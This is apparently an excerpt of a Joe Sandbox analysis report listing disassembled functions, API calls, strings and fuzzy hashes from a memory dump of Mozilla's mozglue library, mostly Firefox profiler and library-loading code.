Opcode Fuzzy Hash: 9e467d996098dfdbd152d872459069a59b024ef965ec3c3f6f8f7c3185252de0
Instruction Fuzzy Hash: 72A18B70618384CFDB15CF25C8907AEBBE2BFC9348F04491DE99A87751DB70A949CB82

Function 6C60B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C5DFE3F), ref: 6C60B720
RtlNtStatusToDosError.NTDLL ref: 6C60B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C5DFE3F), ref: 6C60B760

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction ID: 208ccdbd87625670ab991a65d271c1716eca94467f10ac90ac706d2c07ba0b37
Opcode Fuzzy Hash: 0a00c88aa8d5806d730f0d88d833bfeb95c841e7d0463eb63b321d0ebc603cce
Instruction Fuzzy Hash: 60F0A470A4420CAEDF099AA5CD85BDE77BD9B4432BF109139D511715C0D774998CC76C

Function 6C5C4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5C4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C5585, 6C5C55A8, 6C5C55C3, 6C5C5624

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction ID: 552be4bf32a83cc4ebc5c9010f34cddcdac87935008786bab9075b186aa3e047
Opcode Fuzzy Hash: 94c493745be54d2caecbc7ef721dd874cab3cc5c37c4124f75219da864b38e96
Instruction Fuzzy Hash: D8B28F71B056018FD308CF99C990725BBE2BFC5328B29C76DE4698B7A5D771E841CB82

Function 6C6085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C608C7C
__aulldiv.LIBCMT ref: 6C608DD7

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: be2a872b49d769d3c629b90ada2b01e3486ff575f3cbb3d8df408d88d4d594d9
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 63328F31F101198BDF1CCE9CC9A17AEB7B6FB88304F16853AD406BB7A0DA349D458B95

Function 6C6176E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C61793C, 6C6179FB, 6C617796, 6C617B0B, 6C6179C0, 6C617E0B

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: a3cc26e547993f11bc2f97b632f64410c61ae1d9ae32e34ce59531f6f6a9e01d
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 62320A71E046198FCB14CF99C890AADFBF2FF88308F648169C549A7B45D731A986CF94

Function 6C616E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qZl, xrefs: 6C61793C, 6C6179FB, 6C617B0B, 6C6179C0, 6C617E0B, 6C617C03, 6C617C72

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ~qZl
API String ID: 0-4224160377
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 19bda37819bdebe1013a50c67d88af55cd5de13f1e8fae335f1313da59a29b9d
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F1220975E042198FCB14CF98C880AADF7F2FF88304F6485AAC549A7B45D731A986CF94

Function 6C5E5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5B4A63,?,?), ref: 6C5E5F06

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction ID: 20a62045daa545c748688c10d1c00a7ab334133c17567e59010db0afb843842a
Opcode Fuzzy Hash: 3e6af2682fed1e7a33fa9948a7535c47f6cff07a4a126e9056dcb77546a16cd9
Instruction Fuzzy Hash: E7C1D275D012098BCB04CF99C9906EEBBF2FF8A318FA8415DD8556BB45D732A906CF90

Function 6C5ADFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction ID: 612a26bbb24358c9d08b0fa2d354c2cfbfec2c92590e9b4fd25579913ee2ef82
Opcode Fuzzy Hash: c2e1f68301bfd562901557000d465fea48f4c26b23c6041ca564a9fd8342ef43
Instruction Fuzzy Hash: 8742C332A087518BD308CE7DC89135EB3E2BFC9364F094B2DE999A7791D774D9428B81

Function 6C5D0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 6b274da699a51902576afb2007428f7aa8669ff043b9c833f60765cb011d3446
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221671E00619CFCB14CF98C890AADF7B2FF88314F55869AD44AA7705D731A986CF84

Function 6C61AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction ID: b42411a1024763ab42fed08c8b48809b8ea30ec380ff29545556e980984c3241
Opcode Fuzzy Hash: 33cb064bc30959da60377ddd9f4483401e727ff62f8445e899514d13fa10c4bd
Instruction Fuzzy Hash: B7F13971A0C7454FD700CE2CC8913AAB7E2AFC531AF158A2DE4D487F92E774988D8796

Function 6C5AC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 4d7c41bfe003d8dcb3dbffc77e1c1a09eb23f250caaf566cdf5819a47df85da6
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 4BA1A171F0021A8FDB08CEA9C8913AEB7F2AFC9354F188129D915E7791D7356C068BD0

Function 6C5E7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction ID: d2cc4dba08e2ff8cb1fdc1250148e3caee2d0161a273321c49d7eebb577c9cf8
Opcode Fuzzy Hash: f5aa1bf0da769bbeb360bbec430f886d5e8dc7aeb1da59747880818381f525c2
Instruction Fuzzy Hash: 34717C75E052198FCB08CFA9D8906EDBBB2FF89354F24812ED815AB741D731A945CB90

Function 6C5ECC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5B582D), ref: 6C5ECC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5B582D), ref: 6C5ECC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C61FE98,?,?,?,?,?,6C5B582D), ref: 6C5ECC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5B582D), ref: 6C5ECCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5ECCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5ECCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5ECCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5ECCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5ECD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5ECD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5ECD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5ECDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5ECDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5ECDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5ECDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5ECE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5ECE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5ECE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5ECE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5ECE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5ECE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5ECE8A

Strings

fileioall, xrefs: 6C5ECCA8
notimerresolutionchange, xrefs: 6C5ECE00
cpuallthreads, xrefs: 6C5ECE16
java, xrefs: 6C5ECC37
audiocallbacktracing, xrefs: 6C5ECDD4
power, xrefs: 6C5ECE84
screenshots, xrefs: 6C5ECCD4
default, xrefs: 6C5ECC21
noiostacks, xrefs: 6C5ECCBE
unregisteredthreads, xrefs: 6C5ECE58
fileio, xrefs: 6C5ECC92
preferencereads, xrefs: 6C5ECD92
seqstyle, xrefs: 6C5ECCE6
jsallocations, xrefs: 6C5ECD0E
mainthreadio, xrefs: 6C5ECC7C
ipcmessages, xrefs: 6C5ECDBE
leaf, xrefs: 6C5ECC66
nativeallocations, xrefs: 6C5ECDA8
markersallthreads, xrefs: 6C5ECE42
samplingallthreads, xrefs: 6C5ECE2C
Unrecognized feature "%s"., xrefs: 6C5ECEA0
processcpu, xrefs: 6C5ECE6E
stackwalk, xrefs: 6C5ECCF8
nostacksampling, xrefs: 6C5ECD7C

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction ID: 393fb66a07737cea417b6c975e6b01fe38d7e650c0b50591e21ee837e370fadf
Opcode Fuzzy Hash: 3a2c7171958b9561609795740c909d88370760df082db387857aa337d82519eb
Instruction Fuzzy Hash: 5A51CCF19092A561FA05B1191E20BEE1C45EF5B24BF106436EE1BA1F80FF06F61949BF

Function 6C5B47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B482D
__Init_thread_footer.LIBCMT ref: 6C5B484A

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

GetCurrentThreadId.KERNEL32 ref: 6C5B485F
GetCurrentThreadId.KERNEL32 ref: 6C5B487E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B488B
free.MOZGLUE(?), ref: 6C5B493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B4956
free.MOZGLUE(00000000), ref: 6C5B4960
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B499A

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

free.MOZGLUE(?), ref: 6C5B49C6
free.MOZGLUE(?), ref: 6C5B49E9

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B47FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5B4A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B4828
[I %d/%d] profiler_shutdown, xrefs: 6C5B4A06

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction ID: f3ad5d9ad4f67e53582ca730284b80af8bf1982027658d5b877168efa05412ae
Opcode Fuzzy Hash: 01b6ec0188181c1f25a9f4af391fae229b4aefee875e6c310a25913df08f3695
Instruction Fuzzy Hash: 8181E571A00110CBDB20DF69CCA475A7B75FF82318F540629E916A7B42E73AE845CB9F

Function 6C5B4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5B44B2,6C62E21C,6C62F7F8), ref: 6C5B473E
Part of subcall function 6C5B4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5B474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5B44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5B44D2
InitOnceExecuteOnce.KERNEL32(6C62F80C,6C5AF240,?,?), ref: 6C5B451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B455C
LoadLibraryW.KERNEL32(?), ref: 6C5B4592
InitializeCriticalSection.KERNEL32(6C62F770), ref: 6C5B45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5B45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5B45BB
InitOnceExecuteOnce.KERNEL32(6C62F818,6C5AF240,?,?), ref: 6C5B4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5B4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5B4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5B466D
VerSetConditionMask.NTDLL ref: 6C5B469F
VerSetConditionMask.NTDLL ref: 6C5B46AB
VerSetConditionMask.NTDLL ref: 6C5B46B2
VerSetConditionMask.NTDLL ref: 6C5B46B9
VerSetConditionMask.NTDLL ref: 6C5B46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5B46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5B46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5B46FD

Strings

l, xrefs: 6C5B4578
Gbl, xrefs: 6C5B44FC
kernel32.dll, xrefs: 6C5B44CD
user32.dll, xrefs: 6C5B4557, 6C5B463F
NativeNtBlockSet_Write, xrefs: 6C5B46F7
WRusr.dll, xrefs: 6C5B44B5

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gbl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3324001954
Opcode ID: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction ID: cff88caaebaecf6036a6618cd64cac75ac8956e8d5328bba4cbe5482e6b61ac3
Opcode Fuzzy Hash: 92cf069cee517e135d84ebd5672a7e51041a6d58fc5ddb4b040e2d112189c132
Instruction Fuzzy Hash: 0A615BB0604354AFEB209F62CC85B957FB8EF82308F04855CE545AB641D3BD9945CF5A

Function 6C5EF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5EF8F9

Part of subcall function 6C5B6390: GetCurrentThreadId.KERNEL32 ref: 6C5B63D0
Part of subcall function 6C5B6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5B63DF
Part of subcall function 6C5B6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B640E

ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF93A
GetCurrentThreadId.KERNEL32 ref: 6C5EF98A
GetCurrentThreadId.KERNEL32 ref: 6C5EF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF716

